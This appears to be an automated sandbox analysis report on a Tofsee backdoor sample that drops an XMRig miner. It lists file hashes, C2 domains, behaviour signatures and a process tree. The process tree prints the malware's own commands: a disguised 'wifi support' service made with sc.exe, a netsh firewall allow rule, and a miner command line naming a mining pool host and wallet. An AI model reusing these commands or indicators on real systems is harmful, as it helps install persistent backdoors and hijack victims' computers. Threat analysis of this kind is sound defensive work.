Resubmissions

08-05-2023 12:04

230508-n83alscc6v 10

14-02-2023 12:24

230214-pljenacf6s 1

14-02-2023 12:00

230214-n6rq4adb47 10

14-02-2023 11:52

230214-n1s2zace3s 10

24-01-2023 09:45

230124-lrfn6sad97 10

Analysis

  • max time kernel
    70s
  • max time network
    74s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-01-2023 09:45

General

  • Target

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe

  • Size

    232KB

  • MD5

    f6254a206b59207201f38f69fb018932

  • SHA1

    4109d2edf584ce7f8104410eaa02ddae1aa37117

  • SHA256

    8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45

  • SHA512

    bf6ab8ed99b730a364affed3f341387d82a5fed4ae052f4e897726adae2e963182083a3ba6fa52dfa6f2bd9cc9c3b92643279f46bebf931288545938da5a01b6

  • SSDEEP

    3072:aIGGLok59Gt+ECvLFwyvBnlS1g/tK8MJ2LJDhzLrcSb54VIcVTuh:TLoYC+rK+ztK8MY3bIr

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe
    "C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\grwhppsb\
      2⤵
        PID:3552
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ethexdzc.exe" C:\Windows\SysWOW64\grwhppsb\
        2⤵
          PID:4268
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create grwhppsb binPath= "C:\Windows\SysWOW64\grwhppsb\ethexdzc.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4988
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description grwhppsb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start grwhppsb
          2⤵
          • Launches sc.exe
          PID:2296
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3692
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3668 -s 1040
          2⤵
          • Program crash
          PID:4700
      • C:\Windows\SysWOW64\grwhppsb\ethexdzc.exe
        C:\Windows\SysWOW64\grwhppsb\ethexdzc.exe /d"C:\Users\Admin\AppData\Local\Temp\8bfa1accffb316ba6411badba264e55b04bbe73ec58c79e85f7e523bf1ecdc45.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4716
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1960
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4716 -s 516
          2⤵
          • Program crash
          PID:4364
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3668 -ip 3668
        1⤵
          PID:2964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4716 -ip 4716
          1⤵
            PID:3748

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ethexdzc.exe

            Filesize

            13.6MB

            MD5

            020b9ab84d837fa61d5f94800f508cf2

            SHA1

            0a1848b1b69a4ea294d0062e17f17edead2b4050

            SHA256

            1d451d6cdb1717954a18e6c391e3ef9225e9538b538d0fb970fe321f8f616979

            SHA512

            303501254dd0b1fa7b6b6c3c57ad6479799feb04ddb22249b63ae14f2556cde03d184271cac4f00c48b0aba2bbafbf7b4f7bfdc98321f75e30a7ac5669fc8e34

          • C:\Windows\SysWOW64\grwhppsb\ethexdzc.exe

            Filesize

            13.6MB

            MD5

            020b9ab84d837fa61d5f94800f508cf2

            SHA1

            0a1848b1b69a4ea294d0062e17f17edead2b4050

            SHA256

            1d451d6cdb1717954a18e6c391e3ef9225e9538b538d0fb970fe321f8f616979

            SHA512

            303501254dd0b1fa7b6b6c3c57ad6479799feb04ddb22249b63ae14f2556cde03d184271cac4f00c48b0aba2bbafbf7b4f7bfdc98321f75e30a7ac5669fc8e34

          • memory/1148-176-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1148-171-0x0000000000400000-0x00000000004F1000-memory.dmp

            Filesize

            964KB

          • memory/1148-170-0x0000000000000000-mapping.dmp

          • memory/1960-152-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/1960-161-0x0000000002FD0000-0x0000000002FD5000-memory.dmp

            Filesize

            20KB

          • memory/1960-167-0x0000000002FE0000-0x0000000002FE7000-memory.dmp

            Filesize

            28KB

          • memory/1960-164-0x0000000007980000-0x0000000007D8B000-memory.dmp

            Filesize

            4.0MB

          • memory/1960-158-0x0000000002170000-0x0000000002180000-memory.dmp

            Filesize

            64KB

          • memory/1960-155-0x0000000002160000-0x0000000002166000-memory.dmp

            Filesize

            24KB

          • memory/1960-151-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

          • memory/1960-144-0x0000000000000000-mapping.dmp

          • memory/1960-145-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

          • memory/1960-150-0x0000000000E00000-0x0000000000E15000-memory.dmp

            Filesize

            84KB

          • memory/2296-140-0x0000000000000000-mapping.dmp

          • memory/3552-132-0x0000000000000000-mapping.dmp

          • memory/3668-143-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/3668-135-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/3668-134-0x0000000002190000-0x00000000021A3000-memory.dmp

            Filesize

            76KB

          • memory/3668-133-0x000000000048E000-0x000000000049E000-memory.dmp

            Filesize

            64KB

          • memory/3692-142-0x0000000000000000-mapping.dmp

          • memory/3976-139-0x0000000000000000-mapping.dmp

          • memory/4268-136-0x0000000000000000-mapping.dmp

          • memory/4716-149-0x0000000000400000-0x000000000045E000-memory.dmp

            Filesize

            376KB

          • memory/4716-148-0x0000000000779000-0x0000000000789000-memory.dmp

            Filesize

            64KB

          • memory/4988-138-0x0000000000000000-mapping.dmp